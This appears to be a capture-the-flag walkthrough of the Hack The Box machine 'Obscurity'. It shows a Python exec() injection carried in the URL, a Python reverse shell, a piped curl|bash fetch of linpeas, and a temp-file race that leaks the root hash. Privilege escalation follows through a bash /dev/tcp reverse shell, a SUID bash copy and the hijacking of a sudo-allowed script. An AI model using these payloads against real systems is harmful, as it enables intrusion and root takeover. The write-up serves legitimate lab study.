Step 1. Reconnaissance & Enumeration

Let’s start with the nmap scan

nmap -Pn -n -p- obscurity.htb --min-rate=1000 | grep "open" | cut -d '/' -f 1 | sort -n > port_scan.txt
cat port_scan.txt | tr '\n' ',' | sed s/,$// > port_scan.txt

Version scan reports following information.

▶ nmap -Pn -n -sC -sV -p `cat port_scan.txt` obscurity.htb -oA version_scan
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
8080/tcp open  http-proxy BadHTTPServer
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Mon, 11 May 2020 06:37:57
|     Server: BadHTTPServer
|     Last-Modified: Mon, 11 May 2020 06:37:57
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>

nmap shows two ports open, SSH (22) and HTTP (8080). On visiting the page at 8080 we come to know that page doesn’t do much, but gives information about the Obscura Webserver. When I try to run gobuster things break.

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -t 20 -u http://10.10.10.168:8080
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.168:8080
[+] Threads:        20
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/05/11 12:30:38 Starting gobuster
===============================================================
2020/05/11 12:30:39 Unsolicited response received on idle HTTP channel starting with "\n"; err=<nil>
2020/05/11 12:30:40 Unsolicited response received on idle HTTP channel starting with "\n"; err=<nil>
Progress: 20 / 20474 (0.10%)2020/05/11 12:30:41 Unsolicited response received on idle HTTP channel starting with "\n"; err=<nil>
2020/05/11 12:30:41 Unsolicited response received on idle HTTP channel starting with "\n"; err=<nil>

Given we know the name of the file is in a “secret development directory”, and we can’t count on standard tools to identify the directory name, we’ll use wfuzz, targeting the url http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

wfuzz -c -w /usr/share/wordlists/dirb/big.txt --hc 404 http://obscurity.htb:8080/FUZZ/SuperSecureServer.py

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
Total requests: 20469

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000006016:   200        170 L    498 W    5892 Ch     "develop"

Total time: 1834.461
Processed Requests: 20469
Filtered Requests: 20468
Requests/sec.: 11.15804

wfuzz finds directory develop. Let’s download SuperSecureServer.py.

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

We start by checking if some dangerous functions like eval, exec, os.system, os.popen or subprocess.call are used. We find an exec call on line 139. The exec() function can execute whatever in the variable “info” so, let’s try to inject payloads in info by manipulating the path!
Let’s stand up the server locally and validate the vulnerability. First, let’s create the file structure expected by the web server.

mkdir -p DocRoot/errors
touch DocRoot/errors/404.html
echo test > DocRoot/index.html

Next, we need to edit the file to output the requested URL, and to configure a socket to listen on.

# add above exec(info.format(path))
print(info.format(path))
#append to SuperSecureServer.py
s = Server ("127.0.0.1", 8080)
s.listen ()
#start server
python3 SuperSecureServer.py

After starting the web server, we can experiment with different requests.

request: http://127.0.0.1:8080/
output: output = 'Document: /'

Also also seen in the code, the URL is contained with two single-quotes. As the os library is already imported, so we can attempt to execute a system command.

request: http://127.0.0.1:8080/';os.system('id');'
output:
output = 'Document: /';os.system('id');''
uid=0(root) gid=0(root) groups=0(root)

Now using the reverse shell generator payload of python & adding it to the end of url we get the reverse shell.

nc -lvp 6688

';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.26",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Now let’s upgrade to TTY shell.

SHELL=/bin/bash script -q /dev/null

Step 2. Lateral Movement: www-data -> robert

There are many command-line scripts that we can use to do some heavy lifting of the initial enumeration, such as linPEAS.

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesomescripts-suite/master/linPEAS/linpeas.sh

curl http://10.10.16.31/linpeas.sh|bash

After running this, we see that the system user robert has a world-readable home directory containing some interesting files.

[+] Files inside others home (limit 20)
/home/robert/.bash_logout
/home/robert/user.txt
/home/robert/.bashrc
/home/robert/passwordreminder.txt
/home/robert/check.txt
/home/robert/BetterSSH/BetterSSH.py
/home/robert/SuperSecureCrypt.py
/home/robert/out.txt
/home/robert/.profile

On checking the SuperSecureCrypt.py we will use it check.txt to decrypt out.txt.

python3 SuperSecureCrypt.py -i out.txt -o /tmp/mine -k "$(cat check.txt)" -d
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file out.txt...
Decrypting...
Writing to /tmp/mine...
-> alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal

This is successful and key alexadrovich is revealed. With the key in hand let’s decrypt passwordreminder.txt.

python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/robert -k alexandrovich -d
-> SecThruObsFTW

On decrypting the passwordreminder.txt file we get the password as SecThruObsFTW.

www-data@obscure:/home/robert$ ssh robert@10.10.10.168
ssh robert@10.10.10.168
Could not create directory '/var/www/.ssh'.
The authenticity of host '10.10.10.168 (10.10.10.168)' can't be established.
ECDSA key fingerprint is SHA256:H6t3x5IXxyijmFEZ2NVZbIZHWZJZ0d1IDDj3OnABJDw.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
robert@10.10.10.168's password: SecThruObsFTW

and we get the user flag.

Step 3. Privilege Escalation

robert is a sudoer and can run a Python script as root without password:

robert@obscure:~/BetterSSH$ sudo -l
sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Method 1

This is the custom SSH server that we saw previously. If we run it, we are asked for credentials and then it tries to open a random file in /tmp/SSH/. It throws an error as this folder does not exist:

robert@Obscure$ sudo python3 /home/robert/BetterSSH/BetterSSH.py
Output: Enter username: Enter password:
Error: Traceback (most recent call last):
  File "/home/robert/BetterSSH/BetterSSH.py", line 24, in <module>
    with open('/tmp/SSH/'+path, 'w') as f:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/e3dkRCS9'

Let’s create this folder and try again:

robert@obscure:~/BetterSSH$ sudo python3 /home/robert/BetterSSH/BetterSSH.py
sudo python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
robert
Enter password: SecThruObsFTW
SecThruObsFTW
Authed!
robert@Obscure$

Ok, we get the shell. The BetterSSH.py was a python script takes the user and its password and hash them and compare them with the ones in shadow file, and if they are correct, it will authenticate the user. The script creates files in /tmp/SSH/ then sleeps for 0.1 sec before deleting it. The goal is to read the content of the random temporary file to retrieve root hash. This can be achieved with the following one-liner from a second shell:

while true; do if [ "$(ls -A /tmp/SSH)" ]; then cat /tmp/SSH/*; break; fi; done

It waits for the /tmp/SSH folder to contain a file, outputs its content then quits the loop:

root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999

We get the root hash that we can crack with john or hashcat.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes         (?)
1g 0:00:00:00 DONE (2020-05-12 15:52) 1.063g/s 408.5p/s 408.5c/s 408.5C/s smokey..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

OR

hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt -a 0 -o root.cracked --force

The password is: mercedes. As root login is not permitted, we can simply use su. And we can read the root.txt file for root flag.

robert@obscure:~$ su -
Password:
root@obscure:~# ls
root.txt
root@obscure:~# cat root.txt
512fd4429f33a113a44d5acde23609e3

Method 2

Inspection of the code reveals that if session is autheticated for every command executed, sudo -u is appended to it.

Within the session, we can input -u root id and confirm command execution as root.

robert@Obscure$ -u root id
-u root id
Output: uid=0(root) gid=0(root) groups=0(root)

Let’s create a reverse shell.

echo 'bash -i >/dev/tcp/10.10.14.3/8080 0<&1 2>&1' > /tmp/shell.sh

robert@Obscure$ -u root bash /tmp/shell.sh

OR
robert@Obscure$ -u root cp /bin/bash /tmp/.xyz
robert@Obscure$ -u root chmod 4755 /tmp/.xyz
robert@Obscure$ ^CTraceback (most recent call last):
  File "/home/robert/BetterSSH/BetterSSH.py", line 57, in <module>
    command = input(session['user'] + "@Obscure$ ")
KeyboardInterrupt
robert@obscure:/tmp$ ./.xyz -p

After executing this script in the BetterSSH.py session, we get a reverse shell as root.

▶ nc -lvp 6688
listening on [any] 6688 ...
connect to [10.10.16.31] from obscurity.htb [10.10.10.168] 58464
root@obscure:~/BetterSSH#

Method 3

On looking at home directory of robert we find that home directory is read-writable by robert though BetterSSH owner is root.

robert@obscure:~$ ls -al
ls -al
total 64
drwxr-xr-x 7 robert robert 4096 May 12 11:40 .
drwxr-xr-x 3 root   root   4096 Sep 24  2019 ..
lrwxrwxrwx 1 robert robert    9 Sep 28  2019 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr  4  2018 .bashrc
drwxr-xr-x 2 root   root   4096 Dec  2 09:47 BetterSSH

If instead of remove if we just do `mv BetterSSH{,-old}’, it works fine. BetterSSH{,-old} is the same as BetterSSH BetterSSH-old.

Now we can create a new BetterSSH directory, and put our own BetterSSH.py script into it:

robert@obscure:~$ echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("ba
sh")' > BetterSSH/BetterSSH.py

Now we can run with sudo and get a root shell.

robert@obscure:~/BetterSSH$ sudo python3 /home/robert/BetterSSH/BetterSSH.py
sudo python3 /home/robert/BetterSSH/BetterSSH.py
root@obscure:~/BetterSSH#